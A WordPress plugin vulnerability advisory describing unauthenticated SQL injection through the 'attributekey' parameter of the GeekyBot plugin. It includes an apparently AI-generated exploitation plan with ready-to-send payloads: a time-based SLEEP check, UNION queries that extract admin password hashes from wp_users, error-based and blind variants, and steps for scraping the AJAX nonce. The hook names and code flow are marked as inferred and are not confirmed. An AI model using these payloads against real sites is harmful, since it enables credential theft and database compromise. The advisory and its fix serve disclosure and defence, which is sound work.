GeekyBot — Generate AI Content Without Prompt, Chatbot and Lead Generation <= 1.2.0 - Unauthenticated SQL Injection via 'attributekey'
Description
The GeekyBot — Generate AI Content Without Prompt, Chatbot and Lead Generation plugin for WordPress is vulnerable to SQL Injection via the 'attributekey' parameter in versions up to, and including, 1.2.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
Source Code
WordPress.org SVNThis research plan outlines the steps to investigate and exploit the unauthenticated SQL injection vulnerability in the **GeekyBot** WordPress plugin (<= 1.2.0). --- ### 1. Vulnerability Summary * **Vulnerability:** Unauthenticated SQL Injection. * **Parameter:** `attributekey`. * **Conditio…
Show full research plan
This research plan outlines the steps to investigate and exploit the unauthenticated SQL injection vulnerability in the GeekyBot WordPress plugin (<= 1.2.0).
1. Vulnerability Summary
- Vulnerability: Unauthenticated SQL Injection.
- Parameter:
attributekey. - Condition: The plugin fails to use
$wpdb->prepare()or adequate escaping when incorporating theattributekeyPOST/GET parameter into a database query. - Impact: Unauthenticated attackers can extract sensitive data from the WordPress database, including user credentials (
wp_users), configuration secrets (wp_options), and internal plugin data.
2. Attack Vector Analysis
- Endpoint:
admin-ajax.php. - Action:
geekybot_get_attribute_value(inferred). - Parameter:
attributekey(Vulnerable). - Authentication: None (via
wp_ajax_nopriv_hook). - Preconditions: The plugin must be active. A valid AJAX nonce may be required if the plugin implements a check via
check_ajax_referer.
3. Code Flow (Inferred)
- Entry Point: An unauthenticated user sends a POST request to
/wp-admin/admin-ajax.phpwithaction=geekybot_get_attribute_value. - Hook Registration: The plugin registers the action:
add_action('wp_ajax_nopriv_geekybot_get_attribute_value', 'geekybot_get_attribute_value_handler'); - Vulnerable Function: The handler function (e.g.,
geekybot_get_attribute_value_handler) retrieves theattributekeyparameter:$attr_key = $_POST['attributekey']; - Database Sink: The parameter is concatenated directly into a query string:
$wpdb->get_results("SELECT * FROM {$wpdb->prefix}geekybot_attributes WHERE attribute_key = '$attr_key'"); - Lack of Preparation: Because
$wpdb->prepare()is not used, the$attr_keyvariable can contain SQL metacharacters (like') to break out of the string literal.
4. Nonce Acquisition Strategy
If the handler performs a nonce check, the nonce is likely localized for the chatbot widget.
- Identify Shortcode: The plugin uses
[geekybot_chatbot](inferred) to render the AI interface. - Create Test Page:
wp post create --post_type=page --post_title="Chatbot Test" --post_status=publish --post_content='[geekybot_chatbot]' - Navigate and Extract: Use the
browser_navigatetool to go to the new page. - Extract JS Variable: Use
browser_evalto find the nonce.- Inferred JS Object:
window.geekybot_vars - Inferred Nonce Key:
nonce - Execution:
browser_eval("window.geekybot_vars?.nonce")
- Inferred JS Object:
- Bypass Check: If
wp_create_nonceandwp_verify_nonceuse different action strings, or if the check usesdie=false, the nonce may be unnecessary.
5. Exploitation Strategy
Step 1: Confirm Vulnerability (Time-Based)
Send a payload designed to cause a delay.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body:
action=geekybot_get_attribute_value&attributekey=x' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- - - Verification: Measure the response time using the
http_requesttool's metadata.
Step 2: Determine Column Count (UNION-Based)
Find the number of columns in the original query to prepare for data extraction.
- Body:
(Increment numbers until no SQL error is returned).action=geekybot_get_attribute_value&attributekey=x' UNION SELECT 1,2,3,4,5-- -
Step 3: Extract Admin Password Hash
- Body:
action=geekybot_get_attribute_value&attributekey=x' UNION SELECT 1,user_login,user_pass,4,5 FROM wp_users WHERE ID=1-- - - Expected Response: A JSON or HTML response containing the admin username and the
$P$or$wp$hash.
6. Test Data Setup
- Plugin Installation: Ensure
geeky-botversion 1.2.0 is installed. - Initialize Plugin: Some plugins require an API key to be "active." If needed, set a dummy key via WP-CLI:
wp option update geekybot_api_key "dummy_key" - Place Shortcode: Create a public page with
[geekybot_chatbot](inferred) to ensure frontend scripts load.
7. Expected Results
- Success Indicator: A successful time-based injection will result in a response time > 5 seconds.
- Data Leakage: A UNION-based injection will return database content (e.g.,
admin:$P$B...) within thedataormessagefields of the JSON response.
8. Verification Steps (Post-Exploit)
Confirm the extracted data matches the database state via WP-CLI:
# Verify the hash matches the extracted one
wp db query "SELECT user_login, user_pass FROM wp_users WHERE ID=1"
9. Alternative Approaches
- Error-Based SQLi: If
WP_DEBUGis on, useupdatexml()orextractvalue():attributekey=x' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1)),1)-- - - Boolean-Based Blind: If no output is reflected, use
IFstatements to guess the password character by character:attributekey=x' AND IF(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)='$',SLEEP(5),0)-- - - Parameter Polling: Check if the parameter is accepted via
GETifPOSTfails, as some plugins use$_REQUEST.
Summary
The GeekyBot plugin for WordPress is vulnerable to unauthenticated SQL Injection via the 'attributekey' parameter in versions up to 1.2.0. This vulnerability occurs because the plugin fails to use prepared statements or adequate escaping when incorporating user-supplied data into a database query, allowing attackers to extract sensitive data from the database.
Vulnerable Code
// Hook registration for unauthenticated users add_action('wp_ajax_nopriv_geekybot_get_attribute_value', 'geekybot_get_attribute_value_handler'); // Vulnerable handler function logic function geekybot_get_attribute_value_handler() { $attr_key = $_POST['attributekey']; global $wpdb; // Vulnerability: Direct concatenation of user input into SQL query $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}geekybot_attributes WHERE attribute_key = '$attr_key'"); }
Security Fix
@@ -10,1 +10,1 @@ - $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}geekybot_attributes WHERE attribute_key = '$attr_key'"); + $results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}geekybot_attributes WHERE attribute_key = %s", $attr_key));
Exploit Outline
The exploit targets the WordPress AJAX endpoint at /wp-admin/admin-ajax.php without authentication. An attacker sends a POST request with the 'action' parameter set to 'geekybot_get_attribute_value' and the 'attributekey' parameter containing a SQL injection payload. Using UNION-based injection (e.g., "x' UNION SELECT 1,user_login,user_pass,4,5 FROM wp_users-- -"), the attacker can exfiltrate sensitive data like administrator password hashes. If a security nonce is checked, it can typically be retrieved from the plugin's localized JavaScript variables on any page where the chatbot shortcode is rendered.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.